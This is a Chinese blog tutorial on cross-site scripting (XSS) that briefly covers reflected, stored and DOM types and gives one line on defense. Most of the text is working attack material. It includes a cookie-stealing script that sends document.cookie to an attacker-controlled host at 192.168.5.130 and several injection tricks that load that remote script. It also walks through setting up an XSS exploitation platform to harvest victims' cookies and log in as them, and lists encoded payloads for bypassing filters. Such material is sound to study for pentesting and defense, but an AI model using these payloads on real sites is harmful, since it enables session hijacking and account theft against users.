xss漏洞

2022/8/5 23:22:45

本文主要是介绍xss漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

XSS简介

漏洞介绍

XSS 攻击全称跨站脚本攻击,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户 访问,当用户访问到有恶意代码的网页就会产生 xss 攻击

XSS 攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

xss防御

对输入(和 URL 参数)进行过滤,对输出进行编码

xss的类型

反射型xss
存储性xss
dom型xss

反射型xss

非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码
攻击方法:
攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户
当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击

存储性xss

持久化存储
代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss

dom型xss

字符串补全进行攻击
DOM 型 xss 程序中,只有 前端代码,js dom 通过操作 HTML 或者 css 实现 HTML属性、方法、事件,因此程序中没有与服务器进行交互

                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试:'><img src="#" onm ouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行

xss攻击语句

可以找字典,bp一条一条跑
例如:

<script>alert(1)</script>
javascript:alert(1)//dom类型的,标签内使用,优点:无需闭合
<svg onl oad=alert(1)>
<script>console.log(1);</script
<h5>1\</h5>
"><span>x</span>//
'><span>x</span>//

如果说一点过滤都没有大概率有xss漏洞

xss加载远程payload

加载远程payload盗取cookie
第一步:
桌面创建js文件

var img=document.createElement("img");
img.src="http://192.168.5.130?cookie="+escape(document.cookie);
document.body.appendChild(img);

第二步:
切换目录到桌面
kail开启小型 web 服务python -m SimpleHTTPServer 80
第三步:
将js写入服务器
法一:

<script src="http://192.168.5.130/xss.js"></script>

法二:(有的时候script会被禁止)

<img src=''
onerror=document.body.appendChild(document.createElement('script')).src='//192.168.5.130/xss.js'>

法三:(有时输入长度会被限制,而且是在后端限制的,前端改不了)
使用字符拼接,只有存储性xss可以

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src='</script>
<script>z=z+'//192.'</script>
<script>z=z+'168.5'</script>
<script>z=z+'.130/xss'</script>
<script>z=z+'.js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

法4:支持jquery的情况下使用

<script>$.getScript("//192.168.5.130/xss.js");</script>

注意点:1. xss攻击语句要尽量短,太长可能会被限制长度 2.推荐使用

xss利用平台

搭建

xss platform
github:https://github.com/78778443/xssplatform

使用phpstudy快速搭建
nginx+mysql,apache不行的
添加网站数据库之后,在www目录下找到nginx.htaccess
进行伪静态,填入

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;

重启服务器,mysql,访问xxx.com/install/step1/php, 进行安装
进入之后,查看项目,查看代码,payload网址可以访问就是搭建成功了
重点在于用nginx,不要用apache,伪静态化

使用

当用户输入xss恶意代码时,会将用户cookie,usergent等信息传到平台上
在浏览器上输入网址,打开代理,bp改cookie,直接登陆

xss过滤的绕过

gpc

如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成' xss 攻击代码不要带用
单引号或双引号
使用这种
alert(/xss/)

c在 php 高版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes()对特殊字符进行转义。

alert拦截

不使用即可
用下面这两种语法

<script>prompt(/xss/);</script>
<script>confirm(/xss/);</script>

html 实体过滤

在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符
进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 "<" (小于)
和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或
者>,这两个字符被实体化后在 html 里就不能执行了。
预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot ’ (单引号)成为&#039
< (小于)成为 &lt
>(大于)成为 &g
但是 input 标签里是不用考虑标签实体化,因为用不上<>这两个标签。
攻击语句:
"onclick="javascript:alert('xss');"//
'onclick="javascript:alert('xss');"//

ascii编码

<script>alert(String.fromCharCode(88,83,83))</script>

对应xss

url编码

<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

对应

<a href="javascript:alert(2)">123</a>

js编码

8进制

<script>eval("\141\154\145\162\164\50\61\51");</script>

对应

<script>eval("alert(1)");</script>

16进制

<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

对应

<script>eval("alert(1)");</script>

js unicode

<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>

对应

<script>alert('xss');</script>

base64

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

对应

<script>alert(1)</script>


这篇关于xss漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程